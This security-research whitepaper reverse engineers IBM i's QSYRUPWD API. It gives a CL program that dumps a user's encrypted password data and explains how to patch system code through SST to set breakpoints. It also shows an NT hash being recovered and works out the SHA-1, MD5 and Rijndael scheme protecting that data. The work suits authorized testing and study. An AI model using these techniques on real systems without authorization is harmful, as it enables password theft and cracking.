QSYRUPWD (Retrieve Encrypted User Password) is an IBM i API that returns password-related data for a specified user profile in encrypted form to authorized callers. IBM i is IBM’s integrated enterprise platform, originating from the AS/400 line, and is still widely used for business-critical workloads such as ERP, finance, logistics, and manufacturing. The API primarily exists to support system functions such as password synchronization, migration, replication, and other administrative scenarios where password material must be transferred without exposing the cleartext password. IBM documents QSYRUPWD as part of its security-related API set for handling encrypted password data.
During one of our IBM i penetration tests, I noticed that the client’s server was
configured with QPWDLVL = 2. On IBM i, the QPWDLVL
system value determines both
the password rules accepted by the operating system and the verifier formats maintained
for authentication compatibility. IBM documents that password levels 0 and 1 correspond
to the older DES-based scheme, levels 2 and 3 use a SHA-1-based scheme,
and level 4
introduces a PBKDF2-based verifier model. IBM also states that when QPWDLVL
is set to 2, the operating system keeps compatibility with multiple password-verifier
forms rather than removing earlier ones.
This distinction is important when interpreting QSYRUPWD output.
John the Ripper includes dedicated IBM i cracking formats for legacy IBM i material,
specifically as400_des and as400_ssha1, which reflects support for the older
DES-based and salted SHA-1-based representations. However, in our testing, the QSYRUPWD
output obtained from systems running at QPWDLVL 2–4 did not match the form expected by
John the Ripper’s IBM i formats, whereas the legacy QPWDLVL 0–1 case is compatible with
the QSYRUPWD-derived material handled by those modules. In other words, for QPWDLVL 2–4,
the content returned by QSYRUPWD changes in a way that makes direct use with the existing
John the Ripper IBM i formats unsuccessful. This is an empirical observation from our
testing and tooling analysis, not a claim that IBM publicly documents the exact returned
structure for those levels.
As a result, even with *ALLOBJ and *SECADM (which are required to call QSYRUPWD), the API
could no longer be used for practical password-strength testing. After this engagement,
I decided to analyze the QSYRUPWD API in detail.
To examine the API behavior directly, I wrote a small CL program that invokes
QSYRUPWD with the UPWD0100 format, retrieves the returned buffer, and emits
it for further analysis.
The goal was not to build a full extraction tool, but to verify what kind of
password-related data the API returns under different QPWDLVL settings.
This made it possible to compare the actual output format across systems and
determine whether the returned data matched the input expected by existing
cracking tools such as John the Ripper.
PGM PARM(&USER)
DCL VAR(&USER) TYPE(*CHAR) LEN(10)
DCL VAR(&RCV) TYPE(*CHAR) LEN(4000)
DCL VAR(&LEN) TYPE(*INT) LEN(4) VALUE(4000)
DCL VAR(&FMT) TYPE(*CHAR) LEN(8) VALUE('UPWD0100')
DCL VAR(&ERR) TYPE(*CHAR) LEN(8) VALUE(X'0000000000000000')
DCL VAR(&N) TYPE(*INT) LEN(4)
DCL VAR(&N4) TYPE(*CHAR) LEN(4)
DCL VAR(&NCH) TYPE(*CHAR) LEN(11)
CALL PGM(QSZS/QSYRUPWD) PARM(&RCV &LEN &FMT &USER &ERR)
MONMSG CPF0000 EXEC(DO)
SNDPGMMSG MSGID(CPF9898) MSGF(QCPFMSG) MSGDTA('QSYRUPWD failed') MSGTYPE(*ESCAPE)
RETURN
ENDDO
CHGVAR VAR(&N4) VALUE(%SST(&RCV 1 4))
CHGVAR VAR(&N) VALUE(%BIN(&N4))
CHGVAR VAR(&NCH) VALUE(%CHAR(&N))
SNDPGMMSG MSGID(CPF9898) MSGF(QCPFMSG) MSGDTA('QSYRUPWD ok, bytes:' *BCAT &NCH) MSGTYPE(*INFO)
SNDPGMMSG MSGID(CPF9898) MSGF(QCPFMSG) MSGDTA('Data: ' *BCAT &RCV) MSGTYPE(*INFO)
ENDPGM
After I compiled the PWDDUMP program, I wondered whether we could
generate a call trace. Luckily, IBM i provides a tool called STRTRC that can be
used to collect evidence about the calls made within QSYRUPWD.
So I logged in with a user that has *ALLOBJ and *SECADM authority
(required to run PWDDUMP), and ran the following commands:
STRTRC SSNID(MYTRACE) JOB(*ALL/QSECOFR/QPADEV0005) JOBTRCTYPE(*ALL)
CALL USERB1/PWDDUMP USERB1
ENDTRC SSNID(MYTRACE) PRTTRC(*YES)
PRTTRC DTALIB(QGPL) DTAMBR(MYTRACE)
These commands create a spool file with the required call-trace information, but the structure is a bit confusing at first glance, here is a sample snippet of the spool file:
| | SYNCHRONOU
CALL | CPU | READS | WR
TIME THREAD FLAG FUNCTION PROGRAM LIBRARY ENTRY EXIT LVL | TIME | DB NDB| DB
----------------------------------------------------------------------------------------------------------------------------------
12:53:35.829041 00000065 CALL QCMD QSYS x000519 x000519 1 .000000 0 0 0
12:53:35.829041 00000065 CALL QUICMENU QSYS x0000C1 x0000C1 2 .000000 0 0 0
12:53:35.829041 00000065 CALL QUIMNDRV QSYS x00061E x00061E 3 .000000 0 0 0
12:53:35.829041 00000065 CALL QUIMGFLW QSYS x0004D9 x0004D9 4 .000000 0 0 0
12:53:35.829041 00000065 CALL QUICMD QSYS x00056F x00056F 5 .000000 0 0 0
12:53:35.829041 00000065 XCTL QSCSNTRC QSYS x000A70 x000A70 6 .000000 0 0 0
12:53:35.829041 00000065 CALL QCMDEXC QSYS x00012F x00012F 7 .000000 0 0 0
12:53:35.829041 00000065 XCTL QYPESTRP QSYS 000000 000000 8 .000000 0 0 0
I wrote a scraper that converts the raw spool file content into a more readable format, for example:
PWDDUMP / PWDDUMP
QCLRSLV
QCLCLCPR -> QMHSNDPM -> return PWDDUMP
QSYRUPWD / QSYRUPWD
QLEIT / Q LE sinit_processor -> itl_callInit__FPV12ITL_COM_AREA -> QPWFSMONOC -> return QSYRUPWD
QZLSRTPW / _CXX_PEP__Fv -> main
QZLSSRV1 / QzlsGetNTPassword__FPcP15QzlsNTPasswords
QSYSERV / QSYSRVRTV / qsy_rtv_user_ent__FPCcN21CcCiP20_qsy_serv_rtn_data_TPi
QSYSERV / QSYSRVUTL / caller_is_authorized__FPCcPcPPvCs
QSYMIUTLS / QSYGETSYP /
qsy_getSYP__FPCcT1C11_OBJ_TYPE_TPPvPs
qsy_getSYP_long__FPCcT1C11_OBJ_TYPE_TPPvPs
QSYAUTUTLS / QSYCHKAUT /
qsy_chkaut__FPvsT2cPs
qsy_chkaut__FPvsT2cT4Ps
QSYMIUTLS / QSYTESTAU / qsy_testau__FPvsT2Ps
return QSYSERV / QSYSRVRTV / qsy_rtv_user_ent__FPCcN21CcCiP20_qsy_serv_rtn_data_TPi
QSYSERV / QSYSRVRTV / rtv_user_entries__FPCcN21CcCiP20_qsy_serv_rtn_data_TPi
QSYSERV / QSYSRVUTL / get_security_index__FPCcPPv
QSYMIUTLS / QSYGETSYP /
qsy_getSYP__FPCcT1C11_OBJ_TYPE_TPPvPs
qsy_getSYP_long__FPCcT1C11_OBJ_TYPE_TPPvPs
QSYMIUTLS / QSYMATSOBJ / qsy_matsobj__FPvP16_MSOB_Template_TPs
return QSYSERV / QSYSRVRTV / rtv_user_entries__FPCcN21CcCiP20_qsy_serv_rtn_data_TPi
QSYSERV / QSYSRVRTV / qsy_rtv_user_ent__FPCcN21CcCiP20_qsy_serv_rtn_data_TPi
QSYSERV / QSYSRVRHS / returnIndividualEntry__FPCcT1P20_qsy_serv_user_ent_T
QSYSERV / QSYSRVRHS / process2__FP20_qsy_serv_user_ent_T
QSYSERV / QSYSRVRHS / unhide_edata__FPcsP20_qsy_serv_user_ent_T
QSYSERV / QSYSRVRHS / get_offset__FP20_qsy_serv_user_ent_TPi
QSYMIUTLS / QSYCIPHER / qsy_cipher__FPvP17_CIPHER_Control_TT1Ps
return QSYSERV / QSYSRVRHS / unhide_edata__ -> process2__
QSYCODEUTL / QSYAESFNC / qsy_aes_decrypt__FPcsT1T2PsT1
QSYMIUTLS / QSYCIPHER / qsy_cipher__FPvP17_CIPHER_Control_TT1Ps
QSYMIUTLS / QSYCIPHER / qsy_cipher__FPvP17_CIPHER_Control_TT1Ps
return:
QSYSERV / QSYSRVRHS / process2__FP20_qsy_serv_user_ent_T
QSYSERV / QSYSRVRHS / returnIndividualEntry__FPCcT1P20_qsy_serv_user_ent_T
QSYSERV / QSYSRVRTV / qsy_rtv_user_ent__FPCcN21CcCiP20_qsy_serv_rtn_data_TPi
QZLSSRV1 / QzlsGetNTPassword__FPcP15QzlsNTPasswords
QZLSRTPW
QSYRUPWD
PWDDUMP
Reviewing the output, I immediately focused on the following symbols because their names strongly suggested cryptographic processing, including generic cipher operations, AES-related functionality, and decryption routines:
QSYMIUTLS / QSYCIPHER / qsy_cipher__FPvP17_CIPHER_Control_TT1Ps
QSYCODEUTL / QSYAESFNC / qsy_aes_decrypt__FPcsT1T2PsT1
I used System Service Tools (SST) to dump the assembly code of the
QSYMIUTLS, QSYCODEUTL, QZLSRTPW, and QSYRUPWD *SRVPGM objects into spool files.
System Service Tools (SST) is an IBM i service interface that provides
low-level diagnostics, debugging, and service functions. It helps
administrators and support teams investigate system problems by collecting
internal details like logs, memory dumps, and hardware/status information. It
is mainly used for troubleshooting when normal IBM i tools do not show enough
detail.
For debugging, SST is especially useful because it supports deep
inspection of system state, including collecting service data and generating
dumps that capture memory and runtime context for later analysis.
To access SST, your IBM i user profile must have *SERVICE authority,
and you must use separate credentials in the SST environment. SST uses its own
user management, independent from the operating system profiles, so the QSECOFR
password in SST may be different from the operating system QSECOFR password.
I used the following commands to dump the assembly code:
strsst
Login with your SST user
Start a service tool (1)
Display/Alter/Dump (4)
Dump to printer (2)
Machine Interface (MI) object (1)
Program (02) (2)
Find by object name and context name (1)
On the next screen under the Object group screen filled with the name of the *SRVPGM e.g.: QSYMIUTLS
Change the subtype to 03 it means *SRVPGM instead of *PGM object which is 01
Under the Context group screen filled with the name of the library contains the *SRVPGM e.g.: QSYS
If everything set up properly just press 2 enters and you got a new menu.
Disassembled code (3)
Fill the "Dump title" and press enter, the spool file will be ready in a second
I examined the dumps, focusing on the qsy_aes_decrypt__FPcsT1T2PsT1 and
qsy_cipher__FPvP17_CIPHER_Control_TT1Ps functions.
I looked for explicit cryptographic operations in the disassembled code,
such as recognizable software implementations of block-cipher rounds,
key-schedule generation, or direct calls to documented cryptographic APIs,
but I did not find any. Instead, the code appeared to delegate the sensitive
work to lower-level routines.
The qsy_cipher__FPvP17_CIPHER_Control_TT1Ps function contains the following
code:
3343436176 006554 000074 3940015A ADDI 10,0,346
3343436176 006558 000078 EBC20038 LD 30,0X38(2)
3343436176 00655C 00007C 387D0020 ADDI 3,29,32
3343436176 006560 000080 38BD0040 ADDI 5,29,64
3343436176 006564 000084 7F83E888 TD 28,3,29
3343436176 006568 000088 7C23E880 CMPLA 0,3,29
3343436176 00656C 00008C 78031B9A SELIR 3,0,3,39
3343436176 006570 000090 7F85E888 TD 28,5,29
3343436176 006574 000094 E35D0032 LQ 26,0X30(29),2
3343436176 006578 000098 7C25E880 CMPLA 0,5,29
3343436176 00657C 00009C 7B64049C SELRI 4,27,0,41
3343436176 006580 0000A0 78052B9A SELIR 5,0,5,39
3343436176 006584 0000A4 44000141 SCV 10
On IBM i, SCV (Supervisor Call Vectored) is a system call mechanism: a program
executes the scv instruction to switch into privileged IBM i/LIC code so the
operating system can perform work that user programs cannot do directly.
Many low-level MI functions are executed through SCV 10.
Based on Leif Svalgaard’s MI Programming materials, especially
Chapter 18 on SCV (Supervisor Call Vectored) and the appendix listing SCV 10
function numbers, this model uses R10 as a function selector for SCV 10,
while the arguments are passed in the general-purpose registers beginning with R3.
In other words, R10 identifies which internal service routine is requested,
and the remaining argument registers carry the parameters for that service.
In this case, 346 (ADDI 10,0,346) is the decimal function number, but based on
the number alone I did not know which internal function it represented.
Chapter 18 of Leif Svalgaard’s MI Programming book describes a simple way to
identify the specific function.
SCV 10 is implemented in a LIC module named .#cfmir, so its low-level assembly
stub can be inspected with SST (System Service Tools):
strsst
Login with your SST user
Start a service tool (1)
Display/Alter/Dump (4)
LIC module (3)
Find LIC module by name (1)
Module name . . . . . : #cfmir
After pressing Enter on the "Find LIC module" screen, I could see that on my
IBM i 7.5 system the SCV 10 handler starts at FFFFFFFFFF005000.
In this case, SST did not provide a "Disassembled code" menu option—only
"Hexadecimal, alter capable" and "Base structure".
After selecting "Hexadecimal, alter capable," SST displayed a hex dump of the
LIC routine.
SST also has a rarely-documented feature that can be used to view disassembly.
In the memory dump screen, you can place the cursor on any displayed 32-bit
word, type the letter i, and press Enter.
SST will interpret the selected bytes as instructions and display the
corresponding disassembly at that location.
Below is the relevant part of the .#cfmir LIC routine:
5000 3C408003 addis 2,0,-32765 // R2=FFFFFFFF80030000 (-32765 = 0x8003, SIMM << 16 = 0x80030000)
5004 FBC1FFF3 stmd 30,0xfff0(1)
5008 7C0802A6 mfspr 0,8
500C F8010028 std 0,0x28(1)
5010 F821FF41 stdu 1,0xff40(1)
5014 3C000010 addis 0,0,16
5018 F8010008 std 0,0x8(1)
501C 40D60134 bc 6,22,0x134
5020 7D7142A6 mfspr 11,273
5024 EBE10000 ld 31,0x0(1)
5028 EBFF0000 ld 31,0x0(31)
502C EBFF0028 ld 31,0x28(31)
5030 800B00B0 lwz 0,0xb0(11)
5034 7FC000A6 mfmsr 30
5038 70000400 andi. 0,0,1024
503C 408201A5 bcl 4,2,0x1a4
5040 40F40020 bc 7,20,0x20
5044 FBE10080 std 31,0x80(1)
5048 F9410088 std 10,0x88(1)
504C 39410080 addi 10,1,128
5050 3960448F addi 11,0,17551
5054 4B0180E3 bla 0x30180e0
5058 3C408003 addis 2,0,-32765
505C E9410088 ld 10,0x88(1)
5060 E982CB40 ld 12,0xcb40(2) // (1)
5064 282A01BA cmpli 0,1,10,442
...
5094 E982CB38 ld 12,0xcb38(2) // (2)
From the disassembly, the prologue typically starts by initializing the
TOC pointer in R2. On Power systems, the TOC (Table Of Contents) is a
base-addressed data structure used to access global data, constants,
and function pointers. For example, addis 2,0,-32765 sets up R2 as FFFFFFFF80030000.
This looks surprising at first, but it follows from how addis works on PPC64:
the 16-bit immediate is interpreted as a signed value (here -32765, which is
0x8003 in 16-bit two’s complement), then shifted left by 16 (0x8003 << 16 =
0x80030000).
Because this value has the high bit set in the 32-bit result (0x80030000), the
processor sign-extends it when writing into a 64-bit register, producing
FFFFFFFF80030000 (the upper 32 bits become FFFFFFFF).
Later, the code uses a TOC-relative load like ld 12,0xcb38(2) (comment (2)).
Because the displacement 0xCB38 has its highest bit set (0xCB38 ≥ 0x8000), it
is treated as a negative signed 16-bit offset.
Converting it gives 0xCB38 = -0x34C8 (0x10000 - 0xCB38 = 0x34C8), so the
effective address becomes:
EA = FFFFFFFF80030000 + (-0x34C8) = FFFFFFFF8002CB38.
Based on Leif Svalgaard’s SCV documentation, especially the material describing
the SCV 10 handler and the appendix of SCV 10 function numbers, at that address,
the dump shows pointers that lead to the base of the SCV 10 function table,
for example FFFFFFFF8403C910 (base pointer).
Once you have the base pointer, the dispatch is indexed by the selector in R10.
Since the table holds 8-byte pointers, the offset is R10 * 8. For R10 = 346,
this is 346 * 8 = 2768 = 0xAD0, so:
base + 0xAD0 = FFFFFFFF8403C910 + 0xAD0 = FFFFFFFF8403D3E0.
The entry at FFFFFFFF8403D3E0 resolves to the function pointer
FFFFFFFFC1F2FD90, which corresponds to #crciphr if I select the "Find LIC
module by address" in SST.
Back in Leif Svalgaard’s MI Programming book, I checked Appendix E (“SCV 10
Function Numbers”), which shows that #crcipher corresponds to the CIPHER MI
function.
At this point, I reviewed the disassembly dumps of the relevant *PGM and *SRVPGM objects from the trace and identified all SCV 10 calls with function number 346 (CIPHER):
SST is not a full debugger, it is far from something like GDB but I was still able to use it for debugging. It can attach to a task or process and display the general-purpose registers, but it does not support convenient instruction-level single stepping and does not offer easy, debugger-style breakpoint handling. In principle, a breakpoint can be emulated by rewriting the target instruction, but catching the triggered trap and resuming execution cleanly is considerably less straightforward. I needed a workaround to create my own breakpoints, so I used the following approach:
I would have liked to see the parameters of the CIPHER MI function, so I decided to patch the SCV instruction. A simple breakpoint technique is to modify the code into a two-instruction infinite loop:
ori r0, r0, 0 ; 60000000 (NOP-like)
b loop ; 4BFFFFFC (branch back to the ori)
I use ori r0, r0, 0 because it is effectively a NOP: it computes r0 = r0 OR 0,
so R0 does not change.
On PowerPC, the plain ori instruction also does not update condition flags, so
it does not change the condition register either.
The next instruction is an unconditional branch (b) that jumps back by 4 bytes
(0x4BFFFFFC), returning to the ori.
As a result, the CPU gets stuck spinning at a known address, which makes it
easy to attach a debugger/trace and observe registers and memory at the point
where execution was “looped”.
Like I mentioned in the "Disassembled code" section of this whitepaper, I have
to select the menu option "1. Hexadecimal, alter capable" in the SST but keep
it mind, the context should be QSZS.
I am going to describe the shortest path through the reverse engineering process, without the dead ends, issues, or problems I encountered.
On my system, based on the disassembly of the QZLSRTPW *PGM, the first CIPHER call is here:
235B8A8762 002534 000474 3940015A ADDI 10,0,346
235B8A8762 002538 000478 44000141 SCV 10 // CIPHER
235B8A8762 00253C 00047C E8410020 LD 2,0X20(1)
In SST, this instruction sequence can be patched at the address identified above.
On the analyzed system, this is done by entering 235B8A8762 002534 in the Address fields and
replacing the original instruction pair 44000141 E8410020 with 60000000 4BFFFFFC, then pressing
F11 twice to apply the change. The high-order part of the address (235B8A8762) is system-specific
and may vary across systems, while the low-order offset (002534) remains the same for this code location.
If everything is successful, the breakpoint is set.
From terminal B, I ran CALL USERB1/PWDDUMP USERB1. If everything is in place,
the program will hang. After that, from terminal A, I attached SST to the
process running in terminal B (QPADEV0005).
After selecting “Disassembled code for cursor” in SST, I could see something
like this:
ISF ADDRESS EB7A4C7A2F FFD360 TYPE MI PROC
RESUMEPOINT 235B8A8762 0023B8 ENTRY@ 235B8A8762 0020C0
PROGRAM QZLSRTPW
ENTRY main + 000002F8
ISF ADDRESS EB7A4C7A2F FFD4E0 TYPE MI PEP
RESUMEPOINT 235B8A8762 001EE8 ENTRY@ 235B8A8762 001C40
PROGRAM QZLSRTPW
ENTRY _CXX_PEP__Fv + 000002A8
This is a call stack, and as you can see, we are in the relevant function.
If we search for the QZLSRTPW string on the same screen, we can identify the
relevant registers and values at the point where the program is looping.
Based on the CIPHER instruction syntax defined by the IBM page:
CIPHER (
receiver : address of space pointer(16)
controls : address
source : address of space pointer(16)
)
The relevant register values can be viewed on the same SST screen, by paging
down to the register section of the selected QZLSRTPW job.
The values of interest in my case were:
GPR 3 CA0B861826 00E8C0 // receiver
GPR 4 CA0B861826 00EAD0 // control struct
GPR 5 CA0B861826 00E890 // input
GPR 3 (CIPHER receiver/output): In the memory area pointed by R3, the following pointer can be found:
E8C0 80000000 00000000 CA0B8618 2600EA4C
In the memory area referred by the pointer above, the following data is stored:
EA40 00000000 00000000 00000000 00000000
EA50 00000000 00000000 00000000 00000000
I stopped the program flow before the CIPHER rutine therefore this memory segment is not important at this point.
GPR 4 (CIPHER struct): In the memory area pointed by R4:
EAD0 00050100 000000AC 00000000 00000000
EAE0 80000000 00000000 CA0B8618 2600EB10
EAF0 00000000 00000000 00000000 00000000
EB00 00000000 00000000 00000000 00000000
EB10 00000000 00000000 00000000 00000000
EB20 00000000 00000000 00000000 00000000
EB30 00000000 00000000 00000000 00000000
EB40 00000000 00000000 00000000 00000000
EB50 00000000 00000000 00000000 00000000
EB60 00000000 00000000 00000000 00000000
EB70 00000630 00000000 00000000 00000000
EB80 00000000 00000000 00000020 00000000
EB90 98000000 00000000 05E08100 46010000
EBA0 00000000 00000000 00000000 00000000
EBB0 00000000 00000000 00000000 00000000
EBC0 00000000 00000000 0000D800 00000000
This is quite an interesting structure, and according to the CIPHER documentation, it does this:
Offset 0x00–0x01 (Function identifier): 0x0005 (one-way hash / HMAC)
Offset 0x02 (Hash algorithm): 0x01 (SHA-1)
Offset 0x03 (Sequence): 0x00 (Only)
Offset 0x04–0x07 (Data length, UBin(4)): 0x000000AC (172 bytes)
Offset 0x08 (Output): 0x00 (Hash)
Offset 0x09–0x0F (Reserved/ignored, 7 byte): 00000000000000
Offset 0x10–0x1F (Hash context, space pointer, 16 byte): 8000000000000000CA0B86182600EB10
Offset 0x20–0x2F (HMAC key, space pointer, 16 byte): 00000000000000000000000000000000 (NULL)
Offset 0x30–0x33 (HMAC key length, UBin(4)): 0x00000000
Offset 0x34–0x5F (Reserved/ignored padding a 96-byte controls): 00000000000000000000000000000000000000000000000000000000000000000000000000000000
GPR 5 (CIPHER input): In the memory area pointed by R5, the following pointer can be found:
E890 80000000 00000000 CA0B8618 2600E9A0
In the memory area referred by the pointer above, the following data is stored:
E9A0 E4E2C5D9 C2F14040 40400000 00000000
E9B0 00000000 00000000 00000000 00000000
E9C0 00000000 00000000 00000000 00000000
E9D0 00000000 00022D8C 32FBB32A 5E438562 // 0002 prefix and NT hash of the plain password twice: NT(password) = MD4( UTF-16LE(password) )
E9E0 9E700A4F 94962D8C 32FBB32A 5E438562
E9F0 9E700A4F 94960000 00000000 00000000
EA00 00000000 00000000 00000000 00000000
EA10 00000000 00000000 00000000 00000000
EA20 00000000 00000000 00000000 00000000
EA30 00000000 00000000 00000000 00000000
EA40 00000000 00000000 00000000 00000000
The most interesting part is the 16-byte value beginning at E9D6, preceded by the constant prefix 0002:
0002 2D8C32FBB32A5E4385629E700A4F9496
I knew based on the call stack of the program object there was a
QzlsGetNTPassword__FPcP15QzlsNTPasswords function call somewhere before.
The quickest check was to fire up John the Ripper and create a wordlist
file containing the USERB1 user’s password. This was the fastest win in the
whole reverse engineering process:
NT hash(userb1) = 2D8C32FBB32A5E4385629E700A4F9496 (E9D6 - E9E5)
Based on multiple runs with different users 0x002 is a static prefix.
I calculated the results of this CIPHER operation, as I wanted to be sure IBM did not modify anything in the SHA-1 algorithm:
B7ECCA4FBA7B8DF96BF94C3A40751E3BC319C176
I then removed the breakpoint and placed another one after the SCV call so I could inspect the receiver buffer after the CIPHER operation had completed. The goal was to observe exactly what value the system wrote to the output area and compare it with the result of my manually reproduced CIPHER calculation. The data pointed to by the pointer stored at the memory address referenced by R3 was as follows:
EA40 00000000 00000000 00000000 B7ECCA4F
EA50 BA7B8DF9 6BF94C3A 40751E3B C319C176
The program’s calculation and my calculation are identical so the standard SHA-1 algorithm is used.
Clearing the current breakpoint or rewriting the original instructions and creating another breakpoint on the second SCV 10 function with 346 as function number:
235B8A8762 0026A8 0005E8 3940015A ADDI 10,0,346
235B8A8762 0026AC 0005EC 44000141 SCV 10 / 2. CIPHER
235B8A8762 0026B0 0005F0 E8410020 LD 2,0X20(1)
235B8A8762 0026B4 0005F4 387B0210 ADDI 3,27,528 110
The debug method is the same as with the previous case, attaching to the proper process on terminal B (QPADEV0005) and checking the registers:
GPR 3 D9818947EC 00E8B0 // output
GPR 4 D9818947EC 00EAD0
GPR 5 D9818947EC 00E8A0
GPR 3 (CIPHER receiver/output): In the memory area pointed by R3, the following pointer can be found:
E8B0 80000000 00000000 D9818947 EC00EA60
GPR 4 (CIPHER struct): In the memory area pointed by R4:
EAD0 00050000 0000000A 00000000 00000000
EAE0 80000000 00000000 D9818947 EC00EB10
EAF0 00000000 00000000 00000000 00000000
EB00 00000000 00000000 00000000 00000000
EB10 00000000 00000000 00000000 00000000
EB20 00000000 00000000 00000000 00000000
EB30 00000000 00000000 00000000 00000000
EB40 00000000 00000000 00000000 00000000
EB50 00000000 00000000 00000000 00000000
EB60 00000000 00000000 00000000 00000000
EB70 00000630 00000000 00000000 00000000
EB80 00000000 00000000 00000020 00000000
EB90 98000000 00000000 05E08100 46010000
EBA0 00000000 00000000 00000000 00000000
EBB0 00000000 00000000 00000000 00000000
EBC0 00000000 00000000 0000D800 00000000
According to the CIPHER documentation, it does this:
Offset 0x00–0x01 (Function identifier): 0x0005 (one-way hash / HMAC)
Offset 0x02 (Hash algorithm): 0x00 (MD5)
Offset 0x03 (Sequence): 0x00 (Only)
Offset 0x04–0x07 (Data length, UBin(4)): 0x0000000A (10 bytes)
Offset 0x08 (Output): 0x00 (Hash)
Offset 0x09–0x0F (Reserved/ignored, 7 bytes): 00000000000000
Offset 0x10–0x1F (Hash context, space pointer, 16 bytes): 8000000000000000D9818947EC00EB10
Offset 0x20–0x2F (HMAC key, space pointer, 16 bytes): 00000000000000000000000000000000 (NULL)
Offset 0x30–0x33 (HMAC key length, UBin(4)): 0x00000000
Offset 0x34–0x5F (Reserved/ignored padding until the end of the 96-byte control area): (NULL)
GPR 5 (CIPHER input): In the memory area pointed by R5, the following pointer can be found:
E8A0 80000000 00000000 D9818947 EC00E870
In the memory area referred by the pointer above, the following data is stored:
E870 E4E2C5D9 C2F14040 40404040 40404040 // USERB1 (username)
The input contains the EBCDIC username padded with spaces (0x40) to 10 characters. The CIPHER runs MD5 on the input and creates the following result:
EA60 0843AD67 CD610BFD A2B47D19 6DBE0698
EA70 0843AD67 CD610BFD A2B47D19 6DBE0698
EA80 00000000 002F4040 40404040 40404040
The receiver memory area contains the MD5 result twice. I validated the crypto operation by hand and the result was identical:
0843AD67CD610BFDA2B47D196DBE0698
Continuing the debugging cycles, the next target was the 3rd SVC 10 function:
235B8A8762 0027C4 000704 3940015A ADDI 10,0,346
235B8A8762 0027C8 000708 44000141 SCV 10 // 3. CIPHER
235B8A8762 0027CC 00070C E8410020 LD 2,0X20(1)
At the breakpoint, the relevant general purpose registers contained the following addresses:
GPR 3 D9818947EC 00E880
GPR 4 D9818947EC 00EB70
GPR 5 D9818947EC 00E890
GPR 3 (CIPHER receiver/output): In the memory area pointed by R3, the following pointer can be found:
E880 80000000 00000000 D9818947 EC00CC60
GPR 4 (CIPHER struct): In the memory area pointed by R4:
EB70 001600C0 00012000 0843AD67 CD610BFD
EB80 A2B47D19 6DBE0698 0843AD67 CD610BFD
EB90 A2B47D19 6DBE0698 00000000 00000020
EBA0 00000000 00000000 00000000 00000000
EBB0 00000000 002F4040 40404040 40404040
EBC0 40404445 75858894 A7C2C5D9 E2E4F1F6
EBD0 0000E700 00000000 00000000 00000000
EBE0 00000008 00000000 00000200 00000002
Offset 0x00–0x01 (Function identifier): 0x0016 (Rijndael)
Offset 0x02–0x03 (Data length, UBin(2)): 0x00C0 (192 bytes)
Offset 0x04 (Operation): 0x00 (Encrypt)
Offset 0x05 (Mode): 0x01 (CBC)
Offset 0x06 (Block length): 0x20 (32 bytes) (supported: 0x10/0x18/0x20)
Offset 0x07 (MAC length): 0x00
Offset 0x08–0x27 (Initialization vector, 32 bytes):0843AD67CD610BFDA2B47D196DBE06980843AD67CD610BFDA2B47D196DBE0698
Offset 0x28–0x2E (Reserved, 7 bytes): 00000000000000
Offset 0x2F (Key option): 0x20 (Use 32-byte key)
Offset 0x30–0x3F (Key schedule pointer, space pointer 16 bytes): 00000000000000000000000000000000
Offset 0x40–0x5F (Key, 32 bytes, left-justified): 00000000002F404040404040404040404040444575858894A7C2C5D9E2E4F1F6
The CIPHER structure is the same, but there is something strange, according to the CIPHER documentation there is no 0x0016 CIPHER Function Identifier. Based on the structure above, this cipher is not standard AES. AES always uses a fixed 16-byte (128-bit) block size, but here the block length can be 0x10, 0x18, or 0x20, and the example uses 0x20 (32 bytes). Because the block size is 32 bytes, the CBC initialization vector is also 32 bytes, which matches Rijndael with a 256-bit block size rather than AES. Before I got lost in a rabbit hole, I quickly performed a Rijndael encryption using the structure and compared the result with the SCV 10 function result: My result was:
124C5A7DB02D8ACF63F74AA208CB5195
7A7086ADD7756695C2E347A9CBD0F685
F70B30C86C0BE8EDBA81D961AD6F9407
B8A515EB5E2E3B472E5DFE8B84C1CBD3
38791BC974C0DD90D5E505F4E5124DB1
D150915577E448A10A86F1E5A8D35333
17313763B4C60EC1C4E26FA32266195B
7CAA42D89F384D9069636BB3069B3398
B01F949E6942108D3BE55081A7AA61BC
F15B8094C4372A8B24668CC6B96DEEE1
D167EE159904700A6BF4726CF2DCC549
85BBB0F489ECB6193B4841CE617D93A6
Dumped result from memory after the CIPHER function:
CC60 124C5A7D B02D8ACF 63F74AA2 08CB5195
CC70 7A7086AD D7756695 C2E347A9 CBD0F685
CC80 F70B30C8 6C0BE8ED BA81D961 AD6F9407
CC90 B8A515EB 5E2E3B47 2E5DFE8B 84C1CBD3
CCA0 38791BC9 74C0DD90 D5E505F4 E5124DB1
CCB0 D1509155 77E448A1 0A86F1E5 A8D35333
CCC0 17313763 B4C60EC1 C4E26FA3 2266195B
CCD0 7CAA42D8 9F384D90 69636BB3 069B3398
CCE0 B01F949E 6942108D 3BE55081 A7AA61BC
CCF0 F15B8094 C4372A8B 24668CC6 B96DEEE1
CD00 D167EE15 9904700A 6BF4726C F2DCC549
CD10 85BBB0F4 89ECB619 3B4841CE 617D93A6
At this point I realized this result is also a part of the QSYRUPWD API.
The initialization vector is the result of the previous second QZLSRTPW cipher call (MD5), repeated twice in a row (a total 32-byte IV). In CBC mode, it is actually used, and at the end of the operation, it is updated as the output chaining value.
Updated chaining value is (IV field at the end of the operation, 32 bytes):
D167EE159904700A6BF4726CF2DCC54985BBB0F489ECB6193B4841CE617D93A6
This value is also part of the QSYRUPWD API output.
GPR 5 (CIPHER input): In the memory area pointed by R5, the following pointer can be found:
E890 80000000 00000000 D9818947 EC00E9A0
In the memory area referred by the pointer above, the following data is stored:
E9A0 E4E2C5D9 C2F14040 40400000 00000000 // Username in EBCDIC
E9B0 00000000 00000000 00000000 00000000
E9C0 00000000 00000000 00000000 00000000
E9D0 00000000 00022D8C 32FBB32A 5E438562 // 0002 prefix and NT hash of the plain password twice: NT(password) = MD4( UTF-16LE(password) )
E9E0 9E700A4F 94962D8C 32FBB32A 5E438562
E9F0 9E700A4F 94960000 00000000 00000000
EA00 00000000 00000000 00000000 00000000
EA10 00000000 00000000 00000000 00000000
EA20 00000000 00000000 00000000 00000000
EA30 00000000 00000000 00000000 00000000
EA40 00000000 00000000 00000000 B7ECCA4F // 1st QZLSRTPW CIPHER (SHA1) result (B7ECCA4FBA7B8DF96BF94C3A40751E3BC319C176)
EA50 BA7B8DF9 6BF94C3A 40751E3B C319C176
